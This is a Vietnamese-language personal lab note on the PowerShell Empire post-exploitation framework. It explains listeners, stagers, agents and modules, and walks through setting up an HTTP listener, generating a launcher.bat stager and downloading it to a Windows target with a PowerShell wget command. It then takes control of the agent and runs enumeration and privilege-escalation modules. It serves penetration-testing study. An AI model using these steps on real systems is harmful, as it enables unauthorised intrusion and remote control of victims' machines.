Empire

  • Bản chất: Đây là một khung khai thác sau (post-exploitation framework) dựa trên PowerShell và Python, được thiết kế để thực hiện các cuộc tấn công giả lập vào hệ thống sau khi đã xâm nhập thành công.
    Nó gồm

  • Listener (Cái tai/Bờ sông): Là thành phần chạy trên máy của bạn (Kacker), có nhiệm vụ “đợi” các kết nối từ máy nạn nhân gửi về. Nếu không có Listener, máy nạn nhân sẽ không biết gửi dữ liệu đi đâu.

  • Stager (Mồi câu/Mã độc ban đầu): Là một đoạn mã nhỏ (script, file .exe, .bat…) mà bạn tìm cách thực thi trên máy nạn nhân. Nhiệm vụ duy nhất của nó là “gọi điện” về cho Listener để thiết lập kết nối chính thức.

  • Agent (Con cá đã cắn câu/Điệp viên): Sau khi Stager chạy thành công, nó sẽ biến thành một Agent. Đây là một phiên làm việc (session) đang hoạt động. Bạn điều khiển máy nạn nhân thông qua Agent này.

  • Module (Kỹ năng của điệp viên): Là các công cụ/scripts có sẵn trong Empire để thực hiện các hành động cụ thể (ví dụ: quét mật khẩu, chụp màn hình, leo thang đặc quyền).

  • Task (Mệnh lệnh): Mỗi khi bạn yêu cầu Agent làm gì đó (ví dụ: chạy một Module), đó gọi là một Task. Agent sẽ nhận Task, thực hiện và gửi kết quả về.

Tóm tắt quy trình hoạt động:

Đây là luồng công việc (Workflow) chuẩn khi bạn thực hiện Lab:

Bước 1: Thiết lập Listener (The “Ear”)

Bạn phải tạo ra một cổng chờ trước.

  • Lệnh: uselistener <loại_listener> (thường dùng http).

  • Cấu hình: Đặt Host (IP máy bạn) và Port. Sau đó execute.

Bước 2: Tạo Stager (The “Hook”)

Sau khi có Listener, bạn tạo ra “mồi”.

  • Lệnh: usestager <loại_stager> (ví dụ: windows/launcher_bat hoặc multi/launcher).

  • Cấu hình: Bạn phải chỉ định Stager này sẽ kết nối về Listener nào đã tạo ở Bước 1.

  • Kết quả: Empire trả về một đoạn mã hoặc một file.

Bước 3: Thực thi Stager trên máy nạn nhân (The “Delivery”)

Đây là bước tấn công thực tế (Social Engineering, khai thác lỗ hổng…). Bạn chạy đoạn mã/file từ Bước 2 trên máy mục tiêu.

Bước 4: Quản lý Agent (The “Control”)

Nếu Bước 3 thành công, trên màn hình Empire sẽ báo: [*] Initial agent <ID> active.

  • Bây giờ bạn dùng lệnh agents để xem danh sách.

  • Dùng lệnh interact <ID_Agent> để bắt đầu ra lệnh cho máy đó.

Bước 5: Thực hiện Module/Task (The “Action”)

Khi đã ở trong Agent, bạn bắt đầu khai thác sâu hơn.

  • Lệnh: usemodule <tên_module> (ví dụ: powershell/situational_awareness/host/winenum).

  • Kết quả: Agent nhận lệnh (Task), thực thi và trả về thông tin hệ thống.

1: Starting Empire

Di chuyển vào thư mục của empire và chạy server

Tiếp theo là chạy client

sudo ./ps-empire client

Xem các lệnh có trong empire

2: Configure a listener

không có listener nào nhưng dấu nhắc lệnh đã chuyển sang listener để ta cấu hình
Nhấn back để quay về tương tác với empire
Để chạy một listener thì sử dụng uselistener, nhấn tiếp 1 dấu cách nữa để nó hiện ra danh sách listener khả dụng

Sửu dụng listener http

Cấu hình lại

DefaulDelay là sau bao lâu thì agent sẽ lại nhận lệnh, mặc định đang là 5, ta thay về 1
Port thì do máy mục tiêu đã chạy port 80 làm web server rồi nên ta cần 1 port khác, chọn 9999
Kiểm tra cấu hình options

Khởi động listener bằng excute

… thôi lười quá ko note nữa đâu, cái gì không làm theo hướng dẫn được thì note

3. Deploy agent

trước khi triển khai agent thì cần triển khai stager trước. Stager như một cái bước đệm để nhận kết nối từ listener


usestager windows/launcher_bat

Thiết lập cho stager gọi về listener vừa chạy


set Listener http

Tiếp đến là tạo stager file bằng lệnh generate

Tạo một máy chủ web Python để phục vụ trang web bạn vừa tạo.

4. Deploying the stager

Để có thể deploy stager trên máy windows thì cần dùng Powershell để tải về file .bat vừa nãy
wget http://LINUX_ETH0_ADDRESS:8000/launcher.bat -OutFile launcher.bat

Xem nội dung của launcher.bat

Chạy launcher.bat, nhấn vào nó, một màn hình đen xuất hiện rồi biến mất ngay, sau đó file cũng bị xóa

Kết nối thành công với 10.130.10.25

5: Active agent

Trong bối cảnh của PowerShell Empire, Agent là một chương trình nhỏ chạy trực tiếp trên máy mục tiêu sau khi đã xâm nhập thành công. Đây chính là “cánh tay nối dài” giúp bạn điều khiển máy tính đó từ xa.

Đổi tên agent cho dễ thao tác

Chuyển qua tương tác với agent1
(Empire: agents) > interact agent1

Những trò có thể làm với agent1

6. Module

Chạy thử module winenum

7. Leo thang đặc quyền

Module powerup có nhiều cách để thực hiện leo thang đặc quyền